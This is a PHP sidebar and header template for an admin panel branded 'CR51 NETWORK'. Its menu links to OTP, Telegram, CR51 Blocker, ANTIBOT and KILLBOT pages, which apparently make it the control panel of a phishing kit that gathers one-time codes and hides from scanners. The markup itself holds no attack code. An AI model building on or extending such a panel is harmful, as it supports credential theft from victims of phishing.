<?php
defined("ALLOW") or exit('No direct script access allowed');
?>
<div class="wrapper">
    <div class="main-header">
        <div class="logo-header">
            <a href="dashboard" class="logo">
                CR51 NETWORK
            </a>
            <button class="navbar-toggler sidenav-toggler ml-auto" type="button" data-toggle="collapse" data-target="collapse" aria-controls="sidebar" aria-expanded="false" aria-label="Toggle navigation">
                <span class="navbar-toggler-icon"></span>
            </button>
        </div>
        <nav class="navbar navbar-header navbar-expand-lg">
        </nav>
    </div>
    <div class="sidebar">
        <div class="scrollbar-inner sidebar-wrapper">
            <ul class="nav">
                <li class="nav-item nav-warning">
                    <a href="<?= base_url() ?>?<?php echo _config('PARAMETER'); ?>" target="_blank" rel="noopener noreferrer">
                        <i class="la la-angle-double-right"></i>
                        <p>Go To Site</p>
                    </a>
                </li>
                <li class="nav-item">
                    <a href="<?= base_url() ?>panel">
                        <i class="la la-dashboard"></i>
                        <p>Dashboard</p>
                    </a>
                </li>
                <li class="nav-item">
                    <a href="<?= base_url() ?>panel/static">
                        <i class="la la-desktop"></i>
                        <p>Static</p>
                    </a>
                </li>
                <li class="nav-item">
                    <a href="<?= base_url() ?>panel/otp">
                        <i class="la la-desktop"></i>
                        <p>Otp</p>
                    </a>
                </li>
                <li class="nav-item">
                    <a href="<?= base_url() ?>panel/telegram">
                        <i class="la la-send"></i>
                        <p>Telegram</p>
                    </a>
                </li>
                <?php
                if (_config('CR51TOKEN') == 'on') { ?>
                    <li class="nav-item ">
                        <a href="<?= base_url() ?>panel/cr51bkr" style="color: #007bff;">
                            <i class="la la-key"></i>
                            <p>CR51 Blocker</p>
                        </a>
                    </li>
                <?php } ?>
                <?php
                if (_config('ANTIBOT') == 'on') { ?>
                    <li class="nav-item ">
                        <a href="<?= base_url() ?>panel/antibot" style="color: #007bff;">
                            <i class="la la-key"></i>
                            <p>ANTIBOT</p>
                        </a>
                    </li>
                <?php } ?>
                <?php
                if (_config('KILLBOT') == 'on') { ?>
                    <li class="nav-item ">
                        <a href="<?= base_url() ?>panel/killbot" style="color: #007bff;">
                            <i class="la la-key"></i>
                            <p>KILLBOT</p>
                        </a>
                    </li>
                <?php } ?>
                <li class="nav-item ">
                    <a href="<?= base_url() ?>panel/settings">
                        <i class="la la-cog"></i>
                        <p>Settings</p>
                    </a>
                </li>
                <li class="nav-item">
                    <a href="<?= base_url() ?>panel/logout">
                        <i class="la la-power-off"></i>
                        <p>Keluar</p>
                    </a>
                </li>
                <li class="nav-item update-pro">
                    <button data-toggle="modal" data-target="#modalUpdate">
                        <p>Help</p>
                    </button>
                </li>
            </ul>
        </div>
    </div>